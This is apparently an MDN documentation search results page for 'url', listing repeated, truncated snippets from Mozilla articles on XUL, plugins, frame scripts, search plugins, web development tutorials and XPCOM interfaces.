url may point to any kind of file, although it will usually point to an html file or another xul file. you can use a script to change the contents of the iframe without affecting the main window. in the mozilla browser window, the area where the web page is displayed is created by using an iframe. when the user enters a
url or clicks on a link in a document, the source of the frame is changed. i...
...ffecting the main window. in the mozilla browser window, the area where the web page is displayed is created by using an iframe. when the user enters a
url or clicks on a link in a document, the source of the frame is changed. iframe example example 1 : source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back" /> <toolbarbutton label="forward" /> <textbox id="
urlfield" /> </toolbar> </toolbox> <iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1" /> the example here has created a very simple interface for a web browser. ...
...And 2 more matches
application/http-index-format specification - Archive of obsolete content
is data should be presented to the user when they are viewing data drawn from the file. this data should be parsed as html. 200 defines the field names for the 201 file index code. a valid 200 line consists of one or more white space separated tokens that describe the name or purpose of the associated column of data. tokens may not contain spaces. any illegal characters must be escaped via the
url escaping syntax defined by rfc 1738. note that multiple 200 lines override previous 200 lines. 201 data whose definition stems from a prior 200 line. a valid 201 line consists of one or more white space separated tokens that represent data described by a previous 200 line. tokens may be quoted or unquoted. unquoted tokens may not contain white space. quoted tokens are terminated by the next qu...
... data whose definition stems from a prior 200 line. a valid 201 line consists of one or more white space separated tokens that represent data described by a previous 200 line. tokens may be quoted or unquoted. unquoted tokens may not contain white space. quoted tokens are terminated by the next quote but may not contain carrage returns or new lines. any illegal characters must be escaped via the
url escaping syntax defined by rfc 1738. note that a 201 line encountered before a 200 line should be ignored. 300 a
url pointing to the directory represented by the index if there is one. a valid path token must be
url escaped. valid 200 tokens note that all tokens are case insensitive. filename the name of file that can be used to retrieve the file when combined with the full path provided...
...the mime-type for a directory can be given as application/http-index-format. ...
...And 2 more matches
Gecko Compatibility Handbook - Archive of obsolete content
orer but display blank areas between the images in gecko browsers. incorrect layout mode specified by doctype. standards mode layout has been specified by the doctype. change the doctype to request quirks mode layout instead. more info clicking a link results in a 404-page not found but works in internet explorer the link may use an invalid form of a relative
url. change relative
urls from http://directory/... to directory/.... or use absolute paths in
urls such as http://example.com/directory/... verify that all hyperlinks use forward slashes (/) clicking on a link displays a "download" or displays html code instead of rendering the page correctly, but works as expected in internet explorer the web server has incor...
... correctly while internet explorer treats all css classnames's as case-insensitive and will not display this example correctly. due to the common nature of this error by web authors, netscape 6.2 began treating css class attributes as case-insensitive in quirks mode only. if you are invoking standards mode, you should still code your css to be consistent with respect to case. ...
...internet explorer treats all css classnames's as case-insensitive and will not display this example correctly. due to the common nature of this error by web authors, netscape 6.2 began treating css class attributes as case-insensitive in quirks mode only. if you are invoking standards mode, you should still code your css to be consistent with respect to case. ...
...And 2 more matches
Plug-in Development Overview - Gecko Plugin API Reference
ge of the memory features provided in the plug-in api to allocate and free memory. use the npn_memalloc method to allocate memory from the browser. use the npn_memfree method to free memory allocated with npn_memalloc. use the npn_memflush method to free memory (mac os only) before calling memory-intensive mac toolbox calls. sending and receiving streams streams are objects that represent
urls and the data they contain. a stream is associated with a specific instance of a plug-in, but a plug-in can have more than one stream per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the brows...
...duced by the plug-in to send to the browser are like normal-mode streams produced by the browser, but in reverse. in the browser's normal-mode streams, the browser calls the plug-in to inform it that the stream was created and to push more data. in streams produced by the plug-in, by contrast, the plug-in calls netscape functions to create a stream, push data into it, and delete it. ...
... in reverse. in the browser's normal-mode streams, the browser calls the plug-in to inform it that the stream was created and to push more data. in streams produced by the plug-in, by contrast, the plug-in calls netscape functions to create a stream, push data into it, and delete it. ...
...And 2 more matches
What are hyperlinks? - Learn web development
te, a web server, and a search engine. objective: learn about links on the web and why they matter. summary hyperlinks, usually called links, are a foundational concept behind the web. to explain what links are, we need to step back to the very basics of web architecture. back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on which the web stands:
url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their
urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web revolves around documents and how to access them. the web's original purpose was to provide an easy way to reach, read, and navigate through text documents. sin...
...und documents and how to access them. the web's original purpose was to provide an easy way to reach, read, and navigate through text documents. since then, the web has evolved to provide access to images, videos, and binary data, but these improvements have hardly changed the three pillars. before the web, it was quite hard to access documents and move from one to another. being human-readable,
urls already made things easier, but it's hard to type a long
url whenever you want to access a document. this is where hyperlinks revolutionized everything. links can correlate any text string with a
url, such that the user can instantly reach the target document by activating the link. links stand out from the surrounding text by being underlined and in blue text. tap or click a link to activate i...
... underlined and in blue text. tap or click a link to activate it, or if you use a keyboard, press tab until the link is in focus and hit enter or spacebar. links are the breakthrough that made the web so useful and successful. in the rest of this article, we discuss the various types of links and their importance to modern web design. deeper dive as we said, a link is a text string tied to a
url, and we use links to allow easy jumping from one document to another. that said, there are some nuances worth considering: types of links internal link a link between two webpages, where both webpages belong to the same website, is called an internal link. without internal links, there's no such thing as a website (unless, of course, it's a one-page website). external link a link from your...
...And 2 more matches
Styling web forms - Learn web development
we don't break usability. not all widgets are created equal when css is involved at present, some difficulties remain when using css with forms. these problems can be divided into three categories: the good some elements can be styled with few if any problems across platforms. these include the following elements: <form> <fieldset> and <legend> single-line text <input>s (e.g. type text,
url, email...), except for <input type="search">. multi-line <textarea>s buttons (both <input> and <button>s) <label> <output> the bad some elements are more difficult to style, requiring more complex css or some more specific tricks: checkboxes and radio buttons <input type="search"> we describe how to handle these more specific features in the article advanced form styling. the ugly ...
..., and all the basic styles set on the <body> and <form> elements. ...
...nts. ...
...And 2 more matches
Build your own function - Learn web development
button. we've also provided some basic css to style the custom message box, and an empty <script> element to put our javascript in. next, add the following inside the <script> element: function displaymessage() { } we start off with the keyword function, which means we are defining a function. ...
...wing inside the <script> element: function displaymessage() { } we start off with the keyword function, which means we are defining a function. this is followed by the name we want to give to our function, a set of parentheses, and a set of c
urly braces. any parameters we want to give to our function go inside the parentheses, and the code that runs when we call the function goes inside the c
urly braces. ...
...e() { } we start off with the keyword function, which means we are defining a function. this is followed by the name we want to give to our function, a set of parentheses, and a set of c
urly braces. any parameters we want to give to our function go inside the parentheses, and the code that runs when we call the function goes inside the c
urly braces. ...
...And 2 more matches
Deployment and next steps - Learn web development
[...] [1s] ✅ production: https://mdn-svelte-tutorial.vercel.app [copied to clipboard] [19s] deployed to production. run `vercel --prod` to overwrite later (https://vercel.link/2f). to change the domain or build command, go to https://zeit.co/opensas/mdn-svelte-tutorial/settings accept all the defaults, and you'll be fine. once it has finished deploying, go to the "production"
url in your browser, and you'll see the app deployed! you can also import a svelte git project into vercel from github, gitlab, or bitbucket. note: you can globally install vercel with npm i -g vercel so you don't have to use npx to run it. automatic deployment to gitlab pages for hosting static files there are several online services that allow you to automatically deploy your site whenever...
... a git repository. most of them involve setting up a deployment pipeline that gets triggered on every git push, and takes care of building and deploying your web site. to demonstrate this, we will deploy our todos app to gitlab pages. first you'll have to register at gitlab and then create a new project. give you new project a short, easy name like "mdn-svelte-todo". you will have a remote
url that points to your new gitlab git repository, like git@gitlab.com:[your-user]/[your-project].git. before you start to upload content to your git repository, it is a good practice to add a .gitignore file to tell git which files to exclude from source control. in our case we will tell git to exclude files in the node_modules directory by creating a .gitignore file in the root folder of your...
...ct's root directory git init git remote add origin https://gitlab.com/[your-user]/mdn-svelte-todo.git git add . git commit -m "initial commit" git push -u origin master note: you could use the git protocol instead of https, which is faster and saves you from typing your username and password every time you access your origin repo. to use it you'll have to create an ssh key pair. your origin
url will be like this: git@gitlab.com:[your-user]/mdn-svelte-todo.git. with these instructions we initialize a local git repository, then set our remote origin (where we will push our code to) as our repo on gitlab. next we commit all the files to the local git repo, and then push those to the remote origin on gitlab. gitlab uses a built-in tool called gitlab ci/cd to build your site and publ...
...And 2 more matches
Handling common JavaScript problems - Learn web development
de, the relevant code section is this: function showheroes(jsonobj) { let heroes = jsonobj['members']; for(i = 0; i < heroes.length; i++) { ... so the code falls over as soon as we try to access a property of jsonobj (which as you might expect, is supposed to be a json object). this is supposed to be fetched from an external .json file using the following xmlhttprequest call: let request
url = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', request
url); request.send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails. the console api you may already know what is wrong with this code, but let's explore it some more to show how you could inves...
... note: again, there are many different ways to make use of the ...
... note: again, there are many different ways to make use of the differ...
...And 2 more matches
Gecko info for Windows accessibility vendors
nt default role for root object of document dhtml: role="wairole:document" sets state_readonly indicates it is a normal document, otherwise we're in an editor. sets state_busy when a new document is loading in this space. fires event_state_change when busy flag is set or cleared due to document load starting or finishing. accvalue() exposes the
url of the current pane. accname() exposes the <title> of the current pane. role_pane the first child of a <frame> or <iframe> accvalue() exposes the
url of the current document. accname() exposes the <title> of the current pane. sets state_readonly unless it's an editable frame via designmode. role_chart ...
...s when a cell has selection. role_link xul: <label class="text-link"> -- this should be changed, we need a real <link> widget for xul html: <a> and <area> sets state_linked if it is pointing somewhere. sets state_traversed if link has been visited. sets state_selectable if it is an html named anchor accvalue() exposes the
url that is pointed to role_helpballoon not supported. n/a role_character not supported. n/a role_list xul: <listbox> html: <select size=""> where size > 1 -- state_readonly is off html: <ol> or <ul> -- state_readonly is on dhtml: role="wairole:list" role_listitem ...
... that msaa will not tell you. to solve this problem, we provide access to the content dom for gecko documents, through two interfaces: isimpledomnode gives you the actual parsed structure of a document, by node. isimpledomtext supports scrolling and rectangular bounds information on a character by character basis isimpledomdocument contains basic document information, such title,
url, doctype and mime type. compiling the .idl files to use these interfaces, you'll need to get the isimpledomnode.idl, isimpledomtext.idl and isimpledomdocument.idl file. you must make a header files for them, by running these commands: midl isimpledomnode.idl midl isimpledomtext.idl midl isimpledomdocument.idl that will generate isimpledomnode.h and i...
...And 2 more matches
Creating MozSearch plugins
warning: mozsearch is non-standard and is intended for internal use within mozilla projects only. it should only be used if your intention is to distribute the search plugin packaged in a firefox extension, or if you are creating plugins meant to be shipped by default in a firefox build. ...
...earch plugin for searching using yahoo!: <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <
url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}" /> <
url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </
url> <searchform>http://search.yahoo.co...
...chterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </
url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> let's say the user chooses to use the yahoo! search engine plugin and enters "mozilla" in the search box and presses the enter key. firefox will use the above search engine description to construct the following search
url: http://search.yahoo.com/search?p=mozilla&ei=utf-8&fr=moz2 if the user clicks the magnifying glass icon in the search bar, or chooses the web search option in the tools menu when the search bar isn't visible, the browser will take them to http://search.yahoo.com/, the value of the <searchform> element. example: searching mdc this plugin lets you easily search the mozilla developer center web ...
...And 2 more matches
Frame script loading and lifetime
loading frame scripts to load a frame script use the loadframescript() function. this line of code loads a frame script into the currently selected tab. ...
...er.messagemanager; mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a
url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame. chrome:
urls extension developers usually use a chrome://
url to refer to the frame scripts. ...
...that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame. chrome:
urls extension developers usually use a chrome://
url to refer to the frame scripts. ...
...And 2 more matches
Tracking Protection
mains that track users across sites. if blocked content is part of the page layout, users may notice layout issues where firefox blocked these loads. sometimes users won’t notice at all, if the page grid works such that other page elements slide in to fill holes left by blocked elements. when firefox blocks content, it logs a message to the web console like this: the resource at "http://some/
url" was blocked because tracking protection is enabled. note that with firefox for android, you can access console output using the remote debugger. click the ⓘ symbol in the address bar to view information about the currently loaded page. the popup that appears will notify you when content has been blocked. you will also be able to disable tracking protection entirely if you choose by access...
... be broken when tracking protection is enabled. for example, if your site includes a callback that runs when content from a tracking site is loaded, then the callback will not execute. ...
...allback that runs when content from a tracking site is loaded, then the callback will not execute. ...
...And 2 more matches
Add-on Repository
the api also offers two ways to search for and retrieve an array of addon instances: retrieverecommendedaddons(), which returns a list of recommended add-ons, and searchaddons(), which performs a search of the repository. these searches are asynchronous; results are passed to the provided searchcallback object when the search is completed. ...
...on and are not already installed or in the process of being installed. addonrepository can only process one search at a time. a new search will immediately fail if the addonrepository is already handling another search request. ...
...d or in the process of being installed. addonrepository can only process one search at a time. a new search will immediately fail if the addonrepository is already handling another search request. to import the add-on repository code module, use: components.utils.import("resource://gre/modules/addonrepository.jsm"); method overview string getrecommended
url() string getsearch
url(in string searchterms) void cancelsearch() void retrieverecommendedaddons(in integer maxresults, in searchcallback callback) void searchaddons(in string searchterms, in integer maxresults, in searchcallback callback) properties property type description homepage
url string the
url of the repository site's home page. issearch...
...And 2 more matches
Using JavaScript code modules
// displays "foo" alert(bar.size + 3); // displays "6" alert(dummy); // displays "dummy is not defined" because 'dummy' was not exported from the module note: when you're testing changes to a code module, be sure to change the application's build id (e.g., the version) before your next test run; otherwise, you may find yourself running the previous version of your module's code. the
url for a code module as you can see from the example above, you need a
url to import a code module. (the
url in the example is "resource://app/my_module.jsm".) code modules can only be loaded using a chrome: (), resource:, or file:
url. if you're writing an extension for firefox 4 and already have a chrome.manifest with a content instruction in it, you can put the code module in your content fo...
... sharing objects using code modules an extremely important behavior of components.utils.import() is that modules are cached when loaded and subsequent imports do not reload a new version of the module, but instead use the previously cached version. ...
...x 4 and already have a chrome.manifest with a content instruction in it, you can put the code module in your content folder and reference it like your other content files via chrome://<yourextension>/content/<yourmodule>.jsm. if your extension or application needs to support mozilla 1.9.x (firefox 3.x), you should register a new resource
url. details on doing this are in the "extending resource:
urls" section below. sharing objects using code modules an extremely important behavior of components.utils.import() is that modules are cached when loaded and subsequent imports do not reload a new version of the module, but instead use the previously cached version. this means that a given module will be shared when imported multiple times. any modifications to data, objects, or functions will b...
...And 2 more matches
Rhino shell
-opt optlevel / -o optlevel optimizes at level optlevel, which must be -1 or an integer between 0 and 9. ...
... -opt optlevel / -o optlevel optimizes at level optlevel, which must be -1 or an integer between 0 and 9. ...
... -opt optlevel / -o optlevel optimizes at level optlevel, which must be -1 or an integer between 0 and 9. ...
...And 2 more matches
JS::CompileOptions
lobal for which it is loaded. callers should set this flag for cross-origin scripts, and it will be propagated appropriately to child scripts and passed back in jserrorreports. const char *filename() const returns filename of the source code. const char *introducerfilename() const returns filename of the file which introduces the file. const char16_t *sourcemap
url() const returns the
url of the source map. methods of js::owningcompileoptions method description jsobject *element() const returns the dom element to which this source code belongs, if any, or null if it belongs to no dom element. source belongs to a dom element in the following cases: source belongs to a <script> element if it is the element's ...
...iled to duplicate owning properties. bool setfile(jscontext *cx, const char *f) duplicate null-terminated string f for filename(). returns false if it failed to duplicate. bool setfileandline(jscontext *cx, const char *f, unsigned l) duplicate null-terminated string f for filename() and set lineno property. returns false if it failed to duplicate. bool setsourcemap
url(jscontext *cx, const char16_t *s) duplicate null-terminated string s for sourcemap
url. returns false if it failed to duplicate. bool setintroducerfilename(jscontext *cx, const char *s) duplicate null-terminated string s for introducerfilename. returns false if it failed to duplicate. owningcompileoptions &setline(unsigned l) sets each property and returns the instance i...
...*element() const same as js::owningcompileoptions. jsstring *elementattributename() const jsscript *introductionscript() const compileoptions &setfile(const char *f) sets each property and returns the instance itself. ...
...And 2 more matches
Mozilla internal string guide
minated buffer containing the same value as the source string. promiseflatstring() will create a temporary buffer if necessary. this is most often used in order to pass an nsastring to an api which requires a null-terminated string. in the following example, an nsastring is combined with a literal string, and the result is passed to an api which requires a simple character buffer. // modify the
url and pass to addpage(const char16_t*
url) void addmodifiedpage(const nsastring&
url) { constexpr auto httpprefix = u"http://"_ns; const nsastring& modified
url = httpprefix +
url; // creates a temporary buffer addpage(promiseflatstring(modified
url).get()); } promiseflatstring() is smart when handed a string that is already null-terminated. it avoids creating the temporary buffer ...
...r16_t*
url) void addmodifiedpage(const nsastring&
url) { constexpr auto httpprefix = u"http://"_ns; const nsastring& modified
url = httpprefix +
url; // creates a temporary buffer addpage(promiseflatstring(modified
url).get()); } promiseflatstring() is smart when handed a string that is already null-terminated. it avoids creating the temporary buffer in such cases. ...
...sastring&
url) { constexpr auto httpprefix = u"http://"_ns; const nsastring& modified
url = httpprefix +
url; // creates a temporary buffer addpage(promiseflatstring(modified
url).get()); } promiseflatstring() is smart when handed a string that is already null-terminated. it avoids creating the temporary buffer in such cases. ...
...And 2 more matches
mozIJSSubScriptLoader
js/xpconnect/idl/mozijssubscriptloader.idlscriptable this interface can be used from privileged javascript to load and run javascript code from the given
url at runtime. 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 28 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3) implemented by: @mozilla.org/moz/jssubscript-loader;1. ...
... 1.3) implemented by: @mozilla.org/moz/jssubscript-loader;1. to get this service, use: var mozijssubscriptloader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); note: see components.utils.import for another way to import javascript code. method overview jsval loadsubscript(in string
url, in object targetobj optional, in string charset optional); jsval loadsubscriptwithoptions(in string
url, in object options); methods loadsubscript() synchronously loads and executes the script from the specified
url. as of gecko 8.0, scripts are loaded from the startup cache where possible. the loaded script is executed with the principal associated with the target object. a...
...the loaded script via var are created as properties of the targetobj target object (but things declared via let and const are not). additionally, properties of the targetobj target object can be referred to as variables in the loaded script. if the script returns a value, it will be returned by this method. ...
...And 2 more matches
nsIAlertsService
s x in gecko 1.9. note: since gecko 22, the notifications are provided by firefox and have become platform-independent. ...
...l,[optional] in boolean inprivatebrowsing); void closealert([optional] in astring name, [optional] in nsiprincipal principal); methods showalertnotification() displays a notification window. note: if you are calling this function from javascript, you should wrap it in a try/catch because it can fail on mac os x prior to firefox 22. ...
... title the title for the alert. text the text to display in the alert, explaining the alert condition. the text must not be too long, otherwise it might be truncated to a platform-specific length. ...
...And 2 more matches
nsICookieStorage
h it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this interface represents the storage repository for cookies. modules/plugin/base/public/nsicookiestorage.idlnot scriptable please add a summary to this article. ...
...time. try to avoid using it. this interface represents the storage repository for cookies. modules/plugin/base/public/nsicookiestorage.idlnot scriptable please add a summary to this article. last changed in gecko 1.7 inherits from: nsisupports method overview void getcookie(in string acookie
url, in voidptr acookiebuffer, in pruint32ref acookiesize); void setcookie(in string acookie
url, in constvoidptr acookiebuffer, in unsigned long acookiesize); methods getcookie() retrieves a cookie from the browser's persistent cookie store. void getcookie( in string acookie
url, in voidptr acookiebuffer, in pruint32ref acookiesize ); parameters acookie
url url string to look up cookie with.. acookiebuffer buffer large enough to accommodate cookie data. acookiesize on input, s...
...acookiebuffer buffer containing cookie data. acookiesize specifies size of cookie data. ...
...And 2 more matches
nsIDocShell
ly. instead, retrieve an nsidocshell from a browser or other document container element. note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame script. ...
...default of zoom. this means 100% of normal scaling or in other words normal size no zoom. constants constant value description internal_load_flags_none 0x0 used as a placeholder when you don't want to explicitly specify flags. internal_load_flags_inherit_owner 0x1 used to indicate that it may be safe to inherit the owner of a javascript: or data:
url from the existing document. internal_load_flags_dont_send_referrer 0x2 used to indicate that the load was caused by a meta refresh and the current document uri shouldn't be sent as the http referrer. internal_load_flags_allow_third_party_fixup 0x4 used to indicate that load_flags_allow_third_party_fixup was passed as one of the flags to loaduri(). internal_...
...void addsessionstorage( in nsiprincipal principal, in nsidomstorage storage ); parameters principal the principal to use for the new storage object. storage the storage object to add. addstate() do either a history.pushstate() or history.replacestate() operation, depending on the value of areplace. void addstate( in nsivariant adata, in domstring atitle, in domstring a
url, in boolean areplace ); parameters adata the state object to pass to the popstate event. it must be possible to serialise this in less than 640k characters. atitle gecko currently ignores this parameter. a
url the
url associated with the new history entry. for instance, if the user tries to reload the page, then this is the
url that will be reloaded. areplace wh...
...And 2 more matches
nsIFrameScriptLoader
frame scripts are loaded as soon as loadframescript() is called. ...
...frame scripts are loaded as soon as loadframescript() is called. ...
... user opens new tabs in this window, copies of the script will be loaded into these new tabs, as well. frame scripts are essentially per-tab, so they don't get reloaded when the user navigates. if you want a frame script to do something whenever a new document is loaded, you can listen for the document-element-inserted notification. parameters name type description a
url string
url for the script to load. a
url must be the absolute
url. data:
urls are also supported. for example data:,dump("foo\n"); aallowdelayedload boolean if true, this flag means that the frame script will be loaded into any new frames opened after the loadframescript() call, until removedelayedframescript() is called for that script. aruninglobalscope boolean ...
...And 2 more matches
nsIMsgDBView
viewcommandupdater acommandupdater); void geturisforselection([array, size_is(count)] out string uris, out unsigned long count); void getindicesforselection([array, size_is(count)] out nsmsgviewindex indices, out unsigned long count); void loadmessagebymsgkey(in nsmsgkey amsgkey); void loadmessagebyviewindex(in nsmsgviewindex aindex); void loadmessageby
url(in string a
url); void reloadmessage(); void reloadmessagewithallparts(); void selectmsgbykey(in nsmsgkey key); void selectfoldermsgbykey(in nsimsgfolder afolder, in nsmsgkey akey); void ondeletecompleted(in boolean succeeded); nsmsgviewindex findindexfromkey(in nsmsgkey amsgkey, in boolean aexpand); void expandandselectthreadbyindex(i...
... defined as an unsigned long in mailnewstypes2.idl. viewindexforfirstselectedmsg nsmsgviewindex readonly: the index of the first selected message. nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl. msgfolder nsimsgfolder readonly: the current folder. viewfolder nsimsgfolder uriforfirstselectedmessage acstring readonly:
url of the first selected message. hdrforfirstselectedmessage nsimsgdbhdr readonly: header of the first selected message. numselected long readonly: the number of messages currently selected. msgtoselectafterdelete nsmsgviewindex readonly: the index of the message to select after the current one is deleted. nsmsgviewindex is defined as a unsigned long in m...
... long in mailnewstypes2.idl. getfolderforviewindex() mainly for search. gets the folder of the message at a particular index. nsimsgfolder getfolderforviewindex(in nsmsgviewindex index); parameters index the index of the message. nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl. return value the nsimsgfolder containing the message. geturiforviewindex() gets the
url for the message at the given index. acstring geturiforviewindex(in nsmsgviewindex index); parameters index the index to get the
url for>. nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl. return value a string containing the messages
url. clonedbview() clones this nsimsgdbview. nsimsgdbview clonedbview(in nsimessenger amessengerinstance, ...
...And 2 more matches
nsINavBookmarksService
getitemtype(in long long aitemid); astring getkeywordforbookmark(in long long aitemid); obsolete since gecko 40.0 astring getkeywordforuri(in nsiuri auri); obsolete since gecko 40.0 nsitransaction getremovefoldertransaction(in long long aitemid); nsiuri geturiforkeyword(in astring keyword); obsolete since gecko 40.0 void importbookmarkshtml(in nsiuri
url); obsolete since gecko 1.9 void importbookmarkshtmltofolder(in nsiuri
url, in print64 folder); obsolete since gecko 1.9 print32 indexoffolder(in print64 parent, in print64 folder); obsolete since gecko 1.9 print32 indexofitem(in print64 folder, in nsiuri uri); obsolete since gecko 1.9 long long insertbookmark(in long long aparentid, in nsiuri auri, in long aind...
... getfoldertitle( in print64 folder ); parameters folder the folder whose title should be retrieved. return value the title of the folder. exceptions thrown invalid argument exception if it can not find a folder with the given id. getfolderuri() obsolete since gecko 1.9 (firefox 3) note: getbookmarkuri() provides an alternative for this method. get the
url for a bookmark folder. nsiuri getfolderuri( in print64 folder ); parameters folder the folder whose uri should be retrieved. return value the uri of the folder. getidforitemat() returns the item id for the item at the specified index within a particular folder. long long getidforitemat( in long long aparentid, in long aindex ); parameters aparentid the id of the direct pa...
...ameters keyword the keyword whose uri is to be retrieved. return value returns a nsiuri representing the uri associated with the given keyword. empty if no such keyword is found. importbookmarkshtml() obsolete since gecko 1.9 (firefox 3) loads the given bookmarks.html file and merges it with the current bookmarks hierarchy. void importbookmarkshtml( in nsiuri
url ); parameters
url the
url of the bookmarks.html file to be merged. importbookmarkshtmltofolder() obsolete since gecko 1.9 (firefox 3) loads the given bookmarks.html file and puts it in the given folder. void importbookmarkshtmltofolder( in nsiuri
url, in print64 folder ); parameters
url the
url of the bookmarks.html file to be imported. folder the f...
...And 2 more matches
nsINavHistoryService
true if history is disabled. currently, history is disabled if the browser.history_expire_days pref is "0". constants transition type constants constant value description transition_link 1 this transition type means the user followed a link and got a new toplevel window. transition_typed 2 this transition type is set when the user typed the
url to get to the page. transition_bookmark 3 this transition type is set when the user followed a bookmark to get to the page. transition_embed 4 this transition type is set when some inner content is loaded. this is true of all images on a page, and the contents of the iframe. it is also true of any content in a frame, regardless if whether or not the user clicked some...
...or bookmarks. it declares that the given uri is being opened as a result of following a bookmark. if this uri is loaded soon after this message has been received, that transition will be marked as following a bookmark. void markpageasfollowedbookmark( in nsiuri auri ); parameters auri the page that is to be marked as followed by a bookmark. ...
...ed soon after this message has been received, that transition will be marked as following a bookmark. void markpageasfollowedbookmark( in nsiuri auri ); parameters auri the page that is to be marked as followed by a bookmark. markpageastyped() this method designates the
url as having been explicitly typed in by the user, so it can be used as an autocomplete result. it is called by the
url bar when the user types in a
url. ...
...And 2 more matches
nsIURI
thods for performing basic operations on uris. ...
...monkey 2.3) see the following rfcs for details: rfc3490: internationalizing domain names in applications (idna) rfc3986: uniform resource identifier (uri): generic syntax rfc3987: internationalized resource identifiers subclasses of nsiuri, such as nsi
url, impose further structure on the uri. ...
...zed resource identifiers subclasses of nsiuri, such as nsi
url, impose further structure on the uri. ...
...And 2 more matches
nsIUpdate
n. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiupdatepatch getpatchat(in unsigned long index); nsidomelement serialize(in nsidomdocument updates); attributes attribute type description appversion astring the application version of this update. billboard
url astring the
url to a page that is typically localized to display in the update prompt. buildid astring the build id of this update. this is used to identify a particular build, down to the hour, minute, and second of its creation. this lets the system differentiate between several nightly builds with the same version, for example. channel astring the channel used to retrieve this update from...
... is typically localized to display in the update prompt. buildid astring the build id of this update. this is used to identify a particular build, down to the hour, minute, and second of its creation. this lets the system differentiate between several nightly builds with the same version, for example. channel astring the channel used to retrieve this update from the update service. details
url astring the
url to a page which offers details about the content of this update. ideally, this page is not the release notes but some other page that summarizes the differences between this update and the previous, which also links to the release notes. displayversion astring the string to display in the user interface for the version. if you want a real version number use appversion. errorc...
...date boolean true if the update is a complete replacement of the existing installation; false if the update is a patch representing the difference between the new version and the existing version. issecurityupdate boolean true if the update is a security update. if the update is a security update, a more seriously-worded user interface message is used to present the update to the user. license
url astring the
url to an html fragment that contains a license for the update. if this is specified, the user is shown the license file after they choose to install the update, and they must agree to it before the download begins. name astring the name of the update, in the form "application_name update_version" patchcount unsigned long the number of patches supplied by this update. read only. ...
...And 2 more matches
nsIXmlRpcClient
warning: this interface was removed from firefox 3 and is no longer available. extensions/xml-rpc/idl/nsixmlrpcclient.idlscriptable please add a summary to this article. ...
...null if the last call didn't return an xml-rpc fault. result readonly nsisupports the most recent xml-rpc call result returned from this server. null if the last call didn't return a valid r...
...null if the last call didn't return an xml-rpc fault. result readonly nsisupports the most recent xml-rpc call result returned from this server. null if the last call didn't return a valid result. respons...
...And 2 more matches
Plug-in Development Overview - Plugins
ge of the memory features provided in the plug-in api to allocate and free memory. use the npn_memalloc method to allocate memory from the browser. use the npn_memfree method to free memory allocated with npn_memalloc. use the npn_memflush method to free memory (mac os only) before calling memory-intensive mac toolbox calls. sending and receiving streams streams are objects that represent
urls and the data they contain. a stream is associated with a specific instance of a plug-in, but a plug-in can have more than one stream per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the brows...
...duced by the plug-in to send to the browser are like normal-mode streams produced by the browser, but in reverse. in the browser's normal-mode streams, the browser calls the plug-in to inform it that the stream was created and to push more data. in streams produced by the plug-in, by contrast, the plug-in calls netscape functions to create a stream, push data into it, and delete it. ...
... in reverse. in the browser's normal-mode streams, the browser calls the plug-in to inform it that the stream was created and to push more data. in streams produced by the plug-in, by contrast, the plug-in calls netscape functions to create a stream, push data into it, and delete it. ...
...And 2 more matches
Debugger - Firefox Developer Tools
sionofyellow) this method is never called. if it is ever called, a contradiction has been proven, and the debugger is free to assume that everything is true. onerror(frame,report) spidermonkey is about to report an error inframe.report is an object describing the error, with the following properties: message the fully formatted error message. file if present, the source file name,
url, etc. (if this property is present, theline property will be too, and vice versa.) line if present, the source line number at which the error occurred. linetext if present, this is the source code of the offending line. offset the index of the character within linetext at which the error occurred. warning present and true if this is a warning; absent otherwise. strict present ...
...ources([query])(not yet implemented) return an array of all debugger.source instances matchingquery. each source appears only once in the array.query is an object whose properties restrict which sources are returned; a source must meet all the criteria given byquery to be returned. ifquery is omitted, we return all sources of all debuggee scripts. querymay have the following properties:
url the source’s
url property must be equal to this value. global the source must have been evaluated in the scope of the given global object. if this property’s value is a debugger.object instance belonging to this debugger instance, then its referent is used. if the object is not a global object, then the global in whose scope it was allocated is used. note that the result may include...
